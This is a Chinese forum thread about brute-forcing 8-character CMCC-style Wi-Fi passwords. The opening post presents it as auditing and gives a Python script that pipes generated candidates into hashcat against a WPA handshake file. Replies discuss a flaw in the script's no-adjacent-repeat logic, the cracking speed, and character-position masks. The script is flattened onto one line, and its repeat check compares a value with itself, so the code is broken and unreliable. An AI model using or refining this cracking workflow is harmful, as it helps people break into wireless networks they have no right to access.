关于审计CMCC8位随机密码的思路
本帖最后由 shvepwqp 于 2023-12-13 18:40 编辑首发:https://blog.jiangqing.xyz/post/03474947-37b9-46a4-8d51-4babcffe1272.html
密码规则
长度为8位
每位都有可能是大小写、数字、特殊字符
每两位之间相邻不重复
需要解决的问题存储问题这种规则的密码生成并不复杂,难的是高达几十个T的存储,就算是生成了,高IO肯定也是个问题
配合hashcat的问题既然要实现无存储跑hashcat,那肯定是想到用掩码,但是掩码又不可能设计出每两位相邻不重复的规则
思路考虑用python配合hashcat,一边生成,一边输入到hashcat中
为了照顾每两位相邻不重复,解决这个问题,我们可以考虑使用一种更加高效的密码生成策略。具体来说,我们可以按照一定的顺序生成密码,确保每次生成的密码都是全新的,从而避免重复检查。
我们可以首先生成所有的2位密码,然后将这些2位密码组合起来,形成8位密码。在这个过程中,我们需要确保相邻的2位密码不相同。这样,我们就可以生成所有满足你要求的8位密码,而且不会有重复。
python:
import itertoolsimport subprocessfrom multiprocessing import Process, Queue# 定义可能的字符集charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()'# 生成所有可能的2位密码two_char_passwords = list(itertools.product(charset, repeat=2))# 检查相邻的2位密码是否相同def check_repetition(password): for i in range(len(password)-1): if password == password: return False return True# 密码生成函数def generate_passwords(queue): # 生成所有可能的8位密码 for password in itertools.product(two_char_passwords, repeat=4): if check_repetition(password): password_str = ''.join([''.join(two_char) for two_char in password]) queue.put(password_str)# Hashcat调用函数def run_hashcat(queue): hashcat_process = subprocess.Popen(['/hashcat/hashcat-6.2.6/hashcat.bin', '-w', '4','-a','0', '-m', '22000', '-o', './passwd', './1.ht220000'], stdin=subprocess.PIPE) while True: password_str = queue.get() hashcat_process.stdin.write((password_str + '\\n').encode()) hashcat_process.stdin.flush()# 创建队列和进程queue = Queue()producer = Process(target=generate_passwords, args=(queue,))consumer = Process(target=run_hashcat, args=(queue,))# 启动进程producer.start()consumer.start()# 等待进程结束producer.join()consumer.join()
https://cdn.jsdelivr.net/gh/master-of-forums/master-of-forums/public/images/patch.gif 思路不错,这样可以节约大量的硬盘空间 你这只保证2位密码不重复,前面2位末尾那个和后面2位开头那个,没有排除重复
前面ab后面bc,这种没排除 200W速度,需要持续跑六天😂才能跑完。
谁有好办法跑快些。 666 Broad123 发表于 2023-12-15 00:45
200W速度,需要持续跑六天😂才能跑完。
谁有好办法跑快些。
之前论坛有帖子 找不到了
2位数字隔1位
09:%c%c%c%c%c%d%c%d\\00000101
10:%c%c%c%c%d%c%d%c\\00001010
11:%c%c%c%d%c%d%c%c\\00010100
12:%c%c%d%c%d%c%c%c\\00101000
13:%c%d%c%d%c%c%c%c\\01010000
14:%d%c%d%c%c%c%c%c\\10100000
2位数字隔2位
15:%c%c%c%c%d%c%c%d\\00001001
16:%c%c%c%d%c%c%d%c\\00010010
17:%c%c%d%c%c%d%c%c\\00100100
18:%c%d%c%c%d%c%c%c\\01001000
19:%d%c%c%d%c%c%c%c\\10010000
2位数字隔3位
20:%c%c%c%d%c%c%c%d\\00010001
21:%c%c%d%c%c%c%d%c\\00100010
22:%c%d%c%c%c%d%c%c\\01000100
23:%d%c%c%c%d%c%c%c\\10001000
2位数字隔4位
24:%c%c%d%c%c%c%c%d\\00100001
25:%c%d%c%c%c%c%d%c\\01000010
26:%d%c%c%c%c%d%c%c\\10000100
2位数字隔5位
27:%c%d%c%c%c%c%c%d\\01000001
28:%d%c%c%c%c%c%d%c\\10000010
2位数字隔6位
29:%d%c%c%c%c%c%c%d\\10000001 vanke 发表于 2023-12-15 20:28
之前论坛有帖子 找不到了
2位数字隔1位
09:%c%c%c%c%c%d%c%d\\00000101
那种组合几率比较大? ~~~~~~~~~~~~~~https://www.anywlan.com/thread-449030-1-1.html
随风无限 发表于 2023-12-16 13:53
~~~~~~~~~~~~~~https://www.anywlan.com/thread-449030-1-1.html
:victory: Broad123 发表于 2023-12-15 00:45
200W速度,需要持续跑六天😂才能跑完。
谁有好办法跑快些。
那就加到1000W速度
页:
[1]